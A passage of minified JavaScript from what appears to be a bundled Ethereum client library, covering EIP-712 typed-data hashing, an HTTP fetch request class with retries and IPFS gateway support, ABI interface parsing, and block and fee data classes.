Map,r=new Map,a={};Object.keys(e).forEach((i=>{a[i]=e[i].map((t=>{let{name:n,type:r}=t,{base:a,index:i}=Hn(r);return"int"!==a||e.int||(a="int256"),"uint"!==a||e.uint||(a="uint256"),{name:n,type:a+(i||"")}})),t.set(i,new Set),n.set(i,[]),r.set(i,new Set)})),this.#g=JSON.stringify(a);for(const s in a){const r=new Set;for(const i of a[s]){p(!r.has(i.name),`duplicate variable name ${JSON.stringify(i.name)} in ${JSON.stringify(s)}`,"types",e),r.add(i.name);const a=Hn(i.type).base;p(a!==s,`circular type reference to ${JSON.stringify(a)}`,"types",e);zn(a)||(p(n.has(a),`unknown type ${JSON.stringify(a)}`,"types",e),n.get(a).push(s),t.get(s).add(a))}}const i=Array.from(n.keys()).filter((e=>0===n.get(e).length));p(0!==i.length,"missing primary type","types",e),p(1===i.length,`ambiguous primary types or unused types: ${i.map((e=>JSON.stringify(e))).join(", ")}`,"types",e),l(this,{primaryType:i[0]}),function a(i,s){p(!s.has(i),`circular type reference to ${JSON.stringify(i)}`,"types",e),s.add(i);for(const e of t.get(i))if(n.has(e)){a(e,s);for(const t of s)r.get(t).add(e)}s.delete(i)}(this.primaryType,new Set);for(const[s,o]of r){const e=Array.from(o);e.sort(),this.#m.set(s,_n(s,a[s])+e.map((e=>_n(e,a[e]))).join(""))}}getEncoder(e){let t=this.#y.get(e);return t||(t=this.#b(e),this.#y.set(e,t)),t}#b(e){{const t=zn(e);if(t)return t}const t=Hn(e).array;if(t){const e=t.prefix,n=this.getEncoder(e);return r=>{p(-1===t.count||t.count===r.length,`array length mismatch; expected length ${t.count}`,"value",r);let a=r.map(n);return this.#m.has(e)&&(a=a.map(Ve)),Ve(x(a))}}const n=this.types[e];if(n){const t=Pt(this.#m.get(e));return e=>{const r=n.map((t=>{let{name:n,type:r}=t;const a=this.getEncoder(r)(e[n]);return this.#m.has(r)?Ve(a):a}));return r.unshift(t),x(r)}}p(!1,`unknown type: ${e}`,"type",e)}encodeType(e){const t=this.#m.get(e);return p(t,`unknown type: ${JSON.stringify(e)}`,"name",e),t}encodeData(e,t){return this.getEncoder(e)(t)}hashStruct(e,t){return Ve(this.encodeData(e,t))}encode(e){return this.encodeData(this.primaryType,e)}hash(e){return this.hashStruct(this.primaryType,e)}_visit(e,t,n){if(zn(e))return n(e,t);const r=Hn(e).array;if(r)return p(-1===r.count||r.count===t.length,`array length mismatch; expected length ${r.count}`,"value",t),t.map((e=>this._visit(r.prefix,e,n)));const a=this.types[e];if(a)return a.reduce(((e,r)=>{let{name:a,type:i}=r;return e[a]=this._visit(i,t[a],n),e}),{});p(!1,`unknown type: ${e}`,"type",e)}visit(e,t){return this._visit(this.primaryType,e,t)}static from(e){return new jn(e)}static getPrimaryType(e){return jn.from(e).primaryType}static hashStruct(e,t,n){return jn.from(t).hashStruct(e,n)}static hashDomain(e){const t=[];for(const n in e){if(null==e[n])continue;const r=Ln[n];p(r,`invalid typed-data domain key: ${JSON.stringify(n)}`,"domain",e),t.push({name:n,type:r})}return t.sort(((e,t)=>Dn.indexOf(e.name)-Dn.indexOf(t.name))),jn.hashStruct("EIP712Domain",{EIP712Domain:t},e)}static encode(e,t,n){return x(["0x1901",jn.hashDomain(e),jn.from(t).hash(n)])}static hash(e,t,n){return Ve(jn.encode(e,t,n))}static async resolveNames(e,t,n,r){e=Object.assign({},e);for(const s in e)null==e[s]&&delete e[s];const a={};e.verifyingContract&&!A(e.verifyingContract,20)&&(a[e.verifyingContract]="0x");const i=jn.from(t);i.visit(n,((e,t)=>("address"!==e||A(t,20)||(a[t]="0x"),t)));for(const s in a)a[s]=await r(s);return e.verifyingContract&&a[e.verifyingContract]&&(e.verifyingContract=a[e.verifyingContract]),{domain:e,value:n=i.visit(n,((e,t)=>"address"===e&&a[t]?a[t]:t))}}static getPayload(e,t,n){jn.hashDomain(e);const r={},a=[];Dn.forEach((t=>{const n=e[t];null!=n&&(r[t]=Mn[t](n),a.push({name:t,type:Ln[t]}))}));const i=jn.from(t);t=i.types;const s=Object.assign({},t);return p(null==s.EIP712Domain,"types must not contain EIP712Domain type","types.EIP712Domain",t),s.EIP712Domain=a,i.encode(n),{types:s,domain:r,primaryType:i.primaryType,message:i.visit(n,((e,t)=>{if(e.match(/^bytes(\d*)/))return S(w(t));if(e.match(/^u?int/))return D(t).toString();switch(e){case"address":return t.toLowerCase();case"bool":return!!t;case"string":return p("string"===typeof t,"invalid string","value",t),t}p(!1,"unsupported type","type",e)}))}}}function Gn(e,t){return{address:Xe(e),storageKeys:t.map(((e,t)=>(p(A(e,32),"invalid slot",`storageKeys[${t}]`,e),e.toLowerCase())))}}function Qn(e){if(Array.isArray(e))return e.map(((t,n)=>Array.isArray(t)?(p(2===t.length,"invalid slot set",`value[${n}]`,t),Gn(t[0],t[1])):(p(null!=t&&"object"===typeof t,"invalid address-slot set","value",e),Gn(t.address,t.storageKeys))));p(null!=e&&"object"===typeof e,"invalid access list","value",e);const t=Object.keys(e).map((t=>{const n=e[t].reduce(((e,t)=>(e[t]=!0,e)),{});return Gn(t,Object.keys(n).sort())}));return t.sort(((e,t)=>e.address.localeCompare(t.address))),t}function Vn(e){return async function(e,t){h(null==t||!t.cancelled,"request cancelled before sending","CANCELLED");const n=e.url.split(":")[0].toLowerCase();h("http"===n||"https"===n,`unsupported protocol ${n}`,"UNSUPPORTED_OPERATION",{info:{protocol:n},operation:"request"}),h("https"===n||!e.credentials||e.allowInsecureAuthentication,"insecure authorized connections unsupported","UNSUPPORTED_OPERATION",{operation:"request"});let r=null;const a=new AbortController,i=setTimeout((()=>{r=d("request timeout","TIMEOUT"),a.abort()}),e.timeout);t&&t.addListener((()=>{r=d("request cancelled","CANCELLED"),a.abort()}));const s={method:e.method,headers:new Headers(Array.from(e)),body:e.body||void 0,signal:a.signal};let o;try{o=await fetch(e.url,s)}catch(f){if(clearTimeout(i),r)throw r;throw f}clearTimeout(i);const l={};o.headers.forEach(((e,t)=>{l[t.toLowerCase()]=e}));const u=await o.arrayBuffer(),c=null==u?null:new Uint8Array(u);return{statusCode:o.status,statusMessage:o.statusText,headers:l,body:c}}}Vn();let Jn=Vn();const qn=new RegExp("^data:([^;:]*)?(;base64)?,(.*)$","i"),Kn=new RegExp("^ipfs://(ipfs/)?(.*)$","i");let Wn=!1;async function Yn(e,t){try{const t=e.match(qn);if(!t)throw new Error("invalid data");return new rr(200,"OK",{"content-type":t[1]||"text/plain"},t[2]?function(e){e=atob(e);const t=new Uint8Array(e.length);for(let n=0;n<e.length;n++)t[n]=e.charCodeAt(n);return w(t)}(t[3]):kt(t[3].replace(/%([0-9a-f][0-9a-f])/gi,((e,t)=>String.fromCharCode(parseInt(t,16))))))}catch(n){return new rr(599,"BAD REQUEST (invalid data: URI)",{},null,new nr(e))}}function Zn(e){return async function(t,n){try{const n=t.match(Kn);if(!n)throw new Error("invalid link");return new nr(`${e}${n[2]}`)}catch(r){return new rr(599,"BAD REQUEST (invalid IPFS URI)",{},null,new nr(t))}}}const Xn={data:Yn,ipfs:Zn("https://gateway.ipfs.io/ipfs/")},$n=new WeakMap;class er{#w;#v;constructor(e){this.#w=[],this.#v=!1,$n.set(e,(()=>{if(!this.#v){this.#v=!0;for(const e of this.#w)setTimeout((()=>{e()}),0);this.#w=[]}}))}addListener(e){h(!this.#v,"singal already cancelled","UNSUPPORTED_OPERATION",{operation:"fetchCancelSignal.addCancelListener"}),this.#w.push(e)}get cancelled(){return this.#v}checkSignal(){h(!this.cancelled,"cancelled","CANCELLED",{})}}function tr(e){if(null==e)throw new Error("missing signal; should not happen");return e.checkSignal(),e}class nr{#A;#k;#E;#S;#x;#P;#C;#N;#O;#T;#R;#I;#B;#F;#L;get url(){return this.#P}set url(e){this.#P=String(e)}get body(){return null==this.#C?null:new Uint8Array(this.#C)}set body(e){if(null==e)this.#C=void 0,this.#N=void 0;else if("string"===typeof e)this.#C=kt(e),this.#N="text/plain";else if(e instanceof Uint8Array)this.#C=e,this.#N="application/octet-stream";else{if("object"!==typeof e)throw new Error("invalid body");this.#C=kt(JSON.stringify(e)),this.#N="application/json"}}hasBody(){return null!=this.#C}get method(){return this.#S?this.#S:this.hasBody()?"POST":"GET"}set method(e){null==e&&(e=""),this.#S=String(e).toUpperCase()}get headers(){const e=Object.assign({},this.#E);return this.#O&&(e.authorization=`Basic ${function(e){const t=w(e);let n="";for(let r=0;r<t.length;r++)n+=String.fromCharCode(t[r]);return btoa(n)}(kt(this.#O))}`),this.allowGzip&&(e["accept-encoding"]="gzip"),null==e["content-type"]&&this.#N&&(e["content-type"]=this.#N),this.body&&(e["content-length"]=String(this.body.length)),e}getHeader(e){return this.headers[e.toLowerCase()]}setHeader(e,t){this.#E[String(e).toLowerCase()]=String(t)}clearHeaders(){this.#E={}}[Symbol.iterator](){const e=this.headers,t=Object.keys(e);let n=0;return{next:()=>{if(n<t.length){const r=t[n++];return{value:[r,e[r]],done:!1}}return{value:void 0,done:!0}}}}get credentials(){return this.#O||null}setCredentials(e,t){p(!e.match(/:/),"invalid basic authentication username","username","[REDACTED]"),this.#O=`${e}:${t}`}get allowGzip(){return this.#k}set allowGzip(e){this.#k=!!e}get allowInsecureAuthentication(){return!!this.#A}set allowInsecureAuthentication(e){this.#A=!!e}get timeout(){return this.#x}set timeout(e){p(e>=0,"timeout must be non-zero","timeout",e),this.#x=e}get preflightFunc(){return this.#T||null}set preflightFunc(e){this.#T=e}get processFunc(){return this.#R||null}set processFunc(e){this.#R=e}get retryFunc(){return this.#I||null}set retryFunc(e){this.#I=e}get getUrlFunc(){return this.#L||Jn}set getUrlFunc(e){this.#L=e}constructor(e){this.#P=String(e),this.#A=!1,this.#k=!0,this.#E={},this.#S="",this.#x=3e5,this.#F={slotInterval:250,maxAttempts:12},this.#L=null}toString(){return`<FetchRequest method=${JSON.stringify(this.method)} url=${JSON.stringify(this.url)} headers=${JSON.stringify(this.headers)} body=${this.#C?S(this.#C):"null"}>`}setThrottleParams(e){null!=e.slotInterval&&(this.#F.slotInterval=e.slotInterval),null!=e.maxAttempts&&(this.#F.maxAttempts=e.maxAttempts)}async#D(e,t,n,r,a){if(e>=this.#F.maxAttempts)return a.makeServerError("exceeded maximum retry limit");h(ar()<=t,"timeout","TIMEOUT",{operation:"request.send",reason:"timeout",request:r}),n>0&&await function(e){return new Promise((t=>setTimeout(t,e)))}(n);let i=this.clone();const s=(i.url.split(":")[0]||"").toLowerCase();if(s in Xn){const e=await Xn[s](i.url,tr(r.#B));if(e instanceof rr){let t=e;if(this.processFunc){tr(r.#B);try{t=await this.processFunc(i,t)}catch(u){null!=u.throttle&&"number"===typeof u.stall||t.makeServerError("error in post-processing function",u).assertOk()}}return t}i=e}this.preflightFunc&&(i=await this.preflightFunc(i));const o=await this.getUrlFunc(i,tr(r.#B));let l=new rr(o.statusCode,o.statusMessage,o.headers,o.body,r);if(301===l.statusCode||302===l.statusCode){try{const n=l.headers.location||"";return i.redirect(n).#D(e+1,t,0,r,l)}catch(u){}return l}if(429===l.statusCode&&(null==this.retryFunc||await this.retryFunc(i,l,e))){const n=l.headers["retry-after"];let a=this.#F.slotInterval*Math.trunc(Math.random()*Math.pow(2,e));return"string"===typeof n&&n.match(/^[1-9][0-9]*$/)&&(a=parseInt(n)),i.clone().#D(e+1,t,a,r,l)}if(this.processFunc){tr(r.#B);try{l=await this.processFunc(i,l)}catch(u){null!=u.throttle&&"number"===typeof u.stall||l.makeServerError("error in post-processing function",u).assertOk();let n=this.#F.slotInterval*Math.trunc(Math.random()*Math.pow(2,e));return u.stall>=0&&(n=u.stall),i.clone().#D(e+1,t,n,r,l)}}return l}send(){return h(null==this.#B,"request already sent","UNSUPPORTED_OPERATION",{operation:"fetchRequest.send"}),this.#B=new er(this),this.#D(0,ar()+this.timeout,0,this,new rr(0,"",{},null,this))}cancel(){h(null!=this.#B,"request has not been sent","UNSUPPORTED_OPERATION",{operation:"fetchRequest.cancel"});const e=$n.get(this);if(!e)throw new Error("missing signal; should not happen");e()}redirect(e){const t=this.url.split(":")[0].toLowerCase(),n=e.split(":")[0].toLowerCase();h("GET"===this.method&&("https"!==t||"http"!==n)&&e.match(/^https?:/),"unsupported redirect","UNSUPPORTED_OPERATION",{operation:`redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(e)})`});const r=new nr(e);return r.method="GET",r.allowGzip=this.allowGzip,r.timeout=this.timeout,r.#E=Object.assign({},this.#E),this.#C&&(r.#C=new Uint8Array(this.#C)),r.#N=this.#N,r}clone(){const e=new nr(this.url);return e.#S=this.#S,this.#C&&(e.#C=this.#C),e.#N=this.#N,e.#E=Object.assign({},this.#E),e.#O=this.#O,this.allowGzip&&(e.allowGzip=!0),e.timeout=this.timeout,this.allowInsecureAuthentication&&(e.allowInsecureAuthentication=!0),e.#T=this.#T,e.#R=this.#R,e.#I=this.#I,e.#F=Object.assign({},this.#F),e.#L=this.#L,e}static lockConfig(){Wn=!0}static getGateway(e){return Xn[e.toLowerCase()]||null}static registerGateway(e,t){if("http"===(e=e.toLowerCase())||"https"===e)throw new Error(`cannot intercept ${e}; use registerGetUrl`);if(Wn)throw new Error("gateways locked");Xn[e]=t}static registerGetUrl(e){if(Wn)throw new Error("gateways locked");Jn=e}static createGetUrlFunc(e){return Vn()}static createDataGateway(){return Yn}static createIpfsGatewayFunc(e){return Zn(e)}}class rr{#U;#M;#E;#C;#z;#_;toString(){return`<FetchResponse status=${this.statusCode} body=${this.#C?S(this.#C):"null"}>`}get statusCode(){return this.#U}get statusMessage(){return this.#M}get headers(){return Object.assign({},this.#E)}get body(){return null==this.#C?null:new Uint8Array(this.#C)}get bodyText(){try{return null==this.#C?"":Et(this.#C)}catch(e){h(!1,"response body is not valid UTF-8 data","UNSUPPORTED_OPERATION",{operation:"bodyText",info:{response:this}})}}get bodyJson(){try{return JSON.parse(this.bodyText)}catch(e){h(!1,"response body is not valid JSON","UNSUPPORTED_OPERATION",{operation:"bodyJson",info:{response:this}})}}[Symbol.iterator](){const e=this.headers,t=Object.keys(e);let n=0;return{next:()=>{if(n<t.length){const r=t[n++];return{value:[r,e[r]],done:!1}}return{value:void 0,done:!0}}}}constructor(e,t,n,r,a){this.#U=e,this.#M=t,this.#E=Object.keys(n).reduce(((e,t)=>(e[t.toLowerCase()]=String(n[t]),e)),{}),this.#C=null==r?null:new Uint8Array(r),this.#z=a||null,this.#_={message:""}}makeServerError(e,t){let n;n=e?`CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${e})`:`CLIENT ESCALATED SERVER ERROR (${e=`${this.statusCode} ${this.statusMessage}`})`;const r=new rr(599,n,this.headers,this.body,this.#z||void 0);return r.#_={message:e,error:t},r}throwThrottleError(e,t){null==t?t=-1:p(Number.isInteger(t)&&t>=0,"invalid stall timeout","stall",t);const n=new Error(e||"throttling requests");throw l(n,{stall:t,throttle:!0}),n}getHeader(e){return this.headers[e.toLowerCase()]}hasBody(){return null!=this.#C}get request(){return this.#z}ok(){return""===this.#_.message&&this.statusCode>=200&&this.statusCode<300}assertOk(){if(this.ok())return;let{message:e,error:t}=this.#_;""===e&&(e=`server response ${this.statusCode} ${this.statusMessage}`);let n=null;this.request&&(n=this.request.url);let r=null;try{this.#C&&(r=Et(this.#C))}catch(a){}h(!1,e,"SERVER_ERROR",{request:this.request||"unknown request",response:this,error:t,info:{requestUrl:n,responseBody:r,responseStatus:`${this.statusCode} ${this.statusMessage}`}})}}function ar(){return(new Date).getTime()}const ir="0x0000000000000000000000000000000000000000";class sr{fragment;name;signature;topic;args;constructor(e,t,n){const r=e.name,a=e.format();l(this,{fragment:e,name:r,signature:a,topic:t,args:n})}}class or{fragment;name;args;signature;selector;value;constructor(e,t,n,r){const a=e.name,i=e.format();l(this,{fragment:e,name:a,args:n,signature:i,selector:t,value:r})}}class lr{fragment;name;args;signature;selector;constructor(e,t,n){const r=e.name,a=e.format();l(this,{fragment:e,name:r,args:n,signature:a,selector:t})}}class ur{hash;_isIndexed;static isIndexed(e){return!(!e||!e._isIndexed)}constructor(e){l(this,{hash:e,_isIndexed:!0})}}const cr={0:"generic panic",1:"assert(false)",17:"arithmetic overflow",18:"division or modulo by zero",33:"enum overflow",34:"invalid encoded storage byte array accessed",49:"out-of-bounds array access; popping on an empty array",50:"out-of-bounds access of an array or bytesN",65:"out of memory",81:"uninitialized function"},fr={"0x08c379a0":{signature:"Error(string)",name:"Error",inputs:["string"],reason:e=>`reverted with reason string ${JSON.stringify(e)}`},"0x4e487b71":{signature:"Panic(uint256)",name:"Panic",inputs:["uint256"],reason:e=>{let t="unknown panic code";return e>=0&&e<=255&&cr[e.toString()]&&(t=cr[e.toString()]),`reverted with panic code 0x${e.toString(16)} (${t})`}}};class dr{fragments;deploy;fallback;receive;#H;#j;#G;#Q;constructor(e){let t=[];t="string"===typeof e?JSON.parse(e):e,this.#G=new Map,this.#H=new Map,this.#j=new Map;const n=[];for(const s of t)try{n.push(cn.from(s))}catch(i){console.log(`[Warning] Invalid Fragment ${JSON.stringify(s)}:`,i.message)}l(this,{fragments:Object.freeze(n)});let r=null,a=!1;this.#Q=this.getAbiCoder(),this.fragments.forEach(((e,t)=>{let n;switch(e.type){case"constructor":return this.deploy?void console.log("duplicate definition - constructor"):void l(this,{deploy:e});case"fallback":return void(0===e.inputs.length?a=!0:(p(!r||e.payable!==r.payable,"conflicting fallback fragments",`fragments[${t}]`,e),r=e,a=r.payable));case"function":n=this.#G;break;case"event":n=this.#j;break;case"error":n=this.#H;break;default:return}const i=e.format();n.has(i)||n.set(i,e)})),this.deploy||l(this,{deploy:gn.from("constructor()")}),l(this,{fallback:r,receive:a})}format(e){const t=e?"minimal":"full";return this.fragments.map((e=>e.format(t)))}formatJson(){const e=this.fragments.map((e=>e.format("json")));return JSON.stringify(e.map((e=>JSON.parse(e))))}getAbiCoder(){return Sn.defaultAbiCoder()}#V(e,t,n){if(A(e)){const t=e.toLowerCase();for(const e of this.#G.values())if(t===e.selector)return e;return null}if(-1===e.indexOf("(")){const r=[];for(const[t,n]of this.#G)t.split("(")[0]===e&&r.push(n);if(t){const e=t.length>0?t[t.length-1]:null;let n=t.length,a=!0;rt.isTyped(e)&&"overrides"===e.type&&(a=!1,n--);for(let t=r.length-1;t>=0;t--){const e=r[t].inputs.length;e===n||a&&e===n-1||r.splice(t,1)}for(let i=r.length-1;i>=0;i--){const e=r[i].inputs;for(let n=0;n<t.length;n++)if(rt.isTyped(t[n])){if(n>=e.length){if("overrides"===t[n].type)continue;r.splice(i,1);break}if(t[n].type!==e[n].baseType){r.splice(i,1);break}}}}if(1===r.length&&t&&t.length!==r[0].inputs.length){const e=t[t.length-1];(null==e||Array.isArray(e)||"object"!==typeof e)&&r.splice(0,1)}if(0===r.length)return null;if(r.length>1&&n){p(!1,`ambiguous function description (i.e. matches ${r.map((e=>JSON.stringify(e.format()))).join(", ")})`,"key",e)}return r[0]}const r=this.#G.get(yn.from(e).format());return r||null}getFunctionName(e){const t=this.#V(e,null,!1);return p(t,"no matching function","key",e),t.name}hasFunction(e){return!!this.#V(e,null,!1)}getFunction(e,t){return this.#V(e,t||null,!0)}forEachFunction(e){const t=Array.from(this.#G.keys());t.sort(((e,t)=>e.localeCompare(t)));for(let n=0;n<t.length;n++){const r=t[n];e(this.#G.get(r),n)}}#J(e,t,n){if(A(e)){const t=e.toLowerCase();for(const e of this.#j.values())if(t===e.topicHash)return e;return null}if(-1===e.indexOf("(")){const r=[];for(const[t,n]of this.#j)t.split("(")[0]===e&&r.push(n);if(t){for(let e=r.length-1;e>=0;e--)r[e].inputs.length<t.length&&r.splice(e,1);for(let e=r.length-1;e>=0;e--){const n=r[e].inputs;for(let a=0;a<t.length;a++)if(rt.isTyped(t[a])&&t[a].type!==n[a].baseType){r.splice(e,1);break}}}if(0===r.length)return null;if(r.length>1&&n){p(!1,`ambiguous event description (i.e. matches ${r.map((e=>JSON.stringify(e.format()))).join(", ")})`,"key",e)}return r[0]}const r=this.#j.get(pn.from(e).format());return r||null}getEventName(e){const t=this.#J(e,null,!1);return p(t,"no matching event","key",e),t.name}hasEvent(e){return!!this.#J(e,null,!1)}getEvent(e,t){return this.#J(e,t||null,!0)}forEachEvent(e){const t=Array.from(this.#j.keys());t.sort(((e,t)=>e.localeCompare(t)));for(let n=0;n<t.length;n++){const r=t[n];e(this.#j.get(r),n)}}getError(e,t){if(A(e)){const t=e.toLowerCase();if(fr[t])return hn.from(fr[t].signature);for(const e of this.#H.values())if(t===e.selector)return e;return null}if(-1===e.indexOf("(")){const t=[];for(const[n,r]of this.#H)n.split("(")[0]===e&&t.push(r);if(0===t.length)return"Error"===e?hn.from("error Error(string)"):"Panic"===e?hn.from("error Panic(uint256)"):null;if(t.length>1){p(!1,`ambiguous error description (i.e. ${t.map((e=>JSON.stringify(e.format()))).join(", ")})`,"name",e)}return t[0]}if("Error(string)"===(e=hn.from(e).format()))return hn.from("error Error(string)");if("Panic(uint256)"===e)return hn.from("error Panic(uint256)");const n=this.#H.get(e);return n||null}forEachError(e){const t=Array.from(this.#H.keys());t.sort(((e,t)=>e.localeCompare(t)));for(let n=0;n<t.length;n++){const r=t[n];e(this.#H.get(r),n)}}_decodeParams(e,t){return this.#Q.decode(e,t)}_encodeParams(e,t){return this.#Q.encode(e,t)}encodeDeploy(e){return this._encodeParams(this.deploy.inputs,e||[])}decodeErrorResult(e,t){if("string"===typeof e){const t=this.getError(e);p(t,"unknown error","fragment",e),e=t}return p(C(t,0,4)===e.selector,`data signature does not match error ${e.name}.`,"data",t),this._decodeParams(e.inputs,C(t,4))}encodeErrorResult(e,t){if("string"===typeof e){const t=this.getError(e);p(t,"unknown error","fragment",e),e=t}return x([e.selector,this._encodeParams(e.inputs,t||[])])}decodeFunctionData(e,t){if("string"===typeof e){const t=this.getFunction(e);p(t,"unknown function","fragment",e),e=t}return p(C(t,0,4)===e.selector,`data signature does not match function ${e.name}.`,"data",t),this._decodeParams(e.inputs,C(t,4))}encodeFunctionData(e,t){if("string"===typeof e){const t=this.getFunction(e);p(t,"unknown function","fragment",e),e=t}return x([e.selector,this._encodeParams(e.inputs,t||[])])}decodeFunctionResult(e,t){if("string"===typeof e){const t=this.getFunction(e);p(t,"unknown function","fragment",e),e=t}let n="invalid length for result data";const r=v(t);if(r.length%32===0)try{return this.#Q.decode(e.outputs,r)}catch(a){n="could not decode result data"}h(!1,n,"BAD_DATA",{value:S(r),info:{method:e.name,signature:e.format()}})}makeError(e,t){const n=w(e,"data"),r=Sn.getBuiltinCallException("call",t,n);if(r.message.startsWith("execution reverted (unknown custom error)")){const e=S(n.slice(0,4)),t=this.getError(e);if(t)try{const e=this.#Q.decode(t.inputs,n.slice(4));r.revert={name:t.name,signature:t.format(),args:e},r.reason=r.revert.signature,r.message=`execution reverted: ${r.reason}`}catch(i){r.message="execution reverted (coult not decode custom error)"}}const a=this.parseTransaction(t);return a&&(r.invocation={method:a.name,signature:a.signature,args:a.args}),r}encodeFunctionResult(e,t){if("string"===typeof e){const t=this.getFunction(e);p(t,"unknown function","fragment",e),e=t}return S(this.#Q.encode(e.outputs,t||[]))}encodeFilterTopics(e,t){if("string"===typeof e){const t=this.getEvent(e);p(t,"unknown event","eventFragment",e),e=t}h(t.length<=e.inputs.length,`too many arguments for ${e.format()}`,"UNEXPECTED_ARGUMENT",{count:t.length,expectedCount:e.inputs.length});const n=[];e.anonymous||n.push(e.topicHash);const r=(e,t)=>"string"===e.type?Pt(t):"bytes"===e.type?Ve(S(t)):("bool"===e.type&&"boolean"===typeof t?t=t?"0x01":"0x00":e.type.match(/^u?int/)?t=H(t):e.type.match(/^bytes/)?t=N(t,32,!1):"address"===e.type&&this.#Q.encode(["address"],[t]),O(S(t),32));for(t.forEach(((t,a)=>{const i=e.inputs[a];i.indexed?null==t?n.push(null):"array"===i.baseType||"tuple"===i.baseType?p(!1,"filtering with tuples or arrays not supported","contract."+i.name,t):Array.isArray(t)?n.push(t.map((e=>r(i,e)))):n.push(r(i,t)):p(null==t,"cannot filter non-indexed parameters; must be null","contract."+i.name,t)}));n.length&&null===n[n.length-1];)n.pop();return n}encodeEventLog(e,t){if("string"===typeof e){const t=this.getEvent(e);p(t,"unknown event","eventFragment",e),e=t}const n=[],r=[],a=[];return e.anonymous||n.push(e.topicHash),p(t.length===e.inputs.length,"event arguments/values mismatch","values",t),e.inputs.forEach(((e,i)=>{const s=t[i];if(e.indexed)if("string"===e.type)n.push(Pt(s));else if("bytes"===e.type)n.push(Ve(s));else{if("tuple"===e.baseType||"array"===e.baseType)throw new Error("not implemented");n.push(this.#Q.encode([e.type],[s]))}else r.push(e),a.push(s)})),{data:this.#Q.encode(r,a),topics:n}}decodeEventLog(e,t,n){if("string"===typeof e){const t=this.getEvent(e);p(t,"unknown event","eventFragment",e),e=t}if(null!=n&&!e.anonymous){const t=e.topicHash;p(A(n[0],32)&&n[0].toLowerCase()===t,"fragment/topic mismatch","topics[0]",n[0]),n=n.slice(1)}const r=[],a=[],i=[];e.inputs.forEach(((e,t)=>{e.indexed?"string"===e.type||"bytes"===e.type||"tuple"===e.baseType||"array"===e.baseType?(r.push(un.from({type:"bytes32",name:e.name})),i.push(!0)):(r.push(e),i.push(!1)):(a.push(e),i.push(!1))}));const s=null!=n?this.#Q.decode(r,x(n)):null,o=this.#Q.decode(a,t,!0),l=[],u=[];let c=0,f=0;return e.inputs.forEach(((e,t)=>{let n=null;if(e.indexed)if(null==s)n=new ur(null);else if(i[t])n=new ur(s[f++]);else try{n=s[f++]}catch(r){n=r}else try{n=o[c++]}catch(r){n=r}l.push(n),u.push(e.name||null)})),$.fromItems(l,u)}parseTransaction(e){const t=w(e.data,"tx.data"),n=D(null!=e.value?e.value:0,"tx.value"),r=this.getFunction(S(t.slice(0,4)));if(!r)return null;const a=this.#Q.decode(r.inputs,t.slice(4));return new or(r,r.selector,a,n)}parseCallResult(e){throw new Error("@TODO")}parseLog(e){const t=this.getEvent(e.topics[0]);return!t||t.anonymous?null:new sr(t,t.topicHash,this.decodeEventLog(t,e.data,e.topics))}parseError(e){const t=S(e),n=this.getError(C(t,0,4));if(!n)return null;const r=this.#Q.decode(n.inputs,C(t,4));return new lr(n,n.selector,r)}static from(e){return e instanceof dr?e:"string"===typeof e?new dr(JSON.parse(e)):"function"===typeof e.formatJson?new dr(e.formatJson()):"function"===typeof e.format?new dr(e.format("json")):new dr(e)}}const hr=BigInt(0);function pr(e){return null==e?null:e}function gr(e){return null==e?null:e.toString()}class mr{gasPrice;maxFeePerGas;maxPriorityFeePerGas;constructor(e,t,n){l(this,{gasPrice:pr(e),maxFeePerGas:pr(t),maxPriorityFeePerGas:pr(n)})}toJSON(){const{gasPrice:e,maxFeePerGas:t,maxPriorityFeePerGas:n}=this;return{_type:"FeeData",gasPrice:gr(e),maxFeePerGas:gr(t),maxPriorityFeePerGas:gr(n)}}}function yr(e){const t={};e.to&&(t.to=e.to),e.from&&(t.from=e.from),e.data&&(t.data=S(e.data));const n="chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/);for(const a of n)a in e&&null!=e[a]&&(t[a]=D(e[a],`request.${a}`));const r="type,nonce".split(/,/);for(const a of r)a in e&&null!=e[a]&&(t[a]=_(e[a],`request.${a}`));return e.accessList&&(t.accessList=Qn(e.accessList)),"blockTag"in e&&(t.blockTag=e.blockTag),"enableCcipRead"in e&&(t.enableCcipRead=!!e.enableCcipRead),"customData"in e&&(t.customData=e.customData),"blobVersionedHashes"in e&&e.blobVersionedHashes&&(t.blobVersionedHashes=e.blobVersionedHashes.slice()),"kzg"in e&&(t.kzg=e.kzg),"blobs"in e&&e.blobs&&(t.blobs=e.blobs.map((e=>k(e)?S(e):Object.assign({},e)))),t}class br{provider;number;hash;timestamp;parentHash;parentBeaconBlockRoot;nonce;difficulty;gasLimit;gasUsed;stateRoot;receiptsRoot;blobGasUsed;excessBlobGas;miner;prevRandao;extraData;baseFeePerGas;#q;constructor(e,t){this.#q=e.transactions.map((e=>"string"!==typeof e?new Ar(e,t):e)),l(this,{provider:t,hash:pr(e.hash),number:e.number,timestamp:e.timestamp,parentHash:e.parentHash,parentBeaconBlockRoot:e.parentBeaconBlockRoot,nonce:e.nonce,difficulty:e.difficulty,gasLimit:e.gasLimit,gasUsed:e.gasUsed,blobGasUsed:e.blobGasUsed,excessBlobGas:e.excessBlobGas,miner:e.miner,prevRandao:pr(e.prevRandao),extraData:e.extraData,baseFeePerGas:pr(e.baseFeePerGas),stateRoot:e.stateRoot,receiptsRoot:e.receiptsRoot})}get transactions(){return this.#q.map((e=>"string"===typeof e?e:e.hash))}get prefetchedTransactions(){const e=this.#q.slice();return 0===e.length?[]:(h("object"===typeof e[0],"transactions were not prefetched with block request","UNSUPPORTED_OPERATION",{operation:"transactionResponses()"}),e)}toJSON(){const{baseFeePerGas:e,difficulty:t,extraData:n,gasLimit:r,gasUsed:a,hash:i,miner:s,prevRandao:o,nonce:l,number:u,parentHash:c,parentBeaconBlockRoot:f,stateRoot:d,receiptsRoot:h,timestamp:p,transactions:g}=this;return{_type:"Block",baseFeePerGas:gr(e),difficulty:gr(t),extraData:n,gasLimit:gr(r),gasUsed:gr(a),blobGasUsed:gr(this.blobGasUsed),excessBlobGas:gr(this.excessBlobGas),hash:i,miner:s,prevRandao:o,nonce:l,number:u,parentHash:c,timestamp:p,parentBeaconBlockRoot:f,stateRoot:d,receiptsRoot:h,transactions:g}}[Symbol.iterator](){let e=0;const t=this.transactions;return{next:()=>e<this.length?{value:t[e++],done:!1}:{value:void 0,done:!0}}}get length(){return this.#q.length}get date(){return null==this.timestamp?null:new Date(1e3*this.timestamp)}async getTransaction(e){let 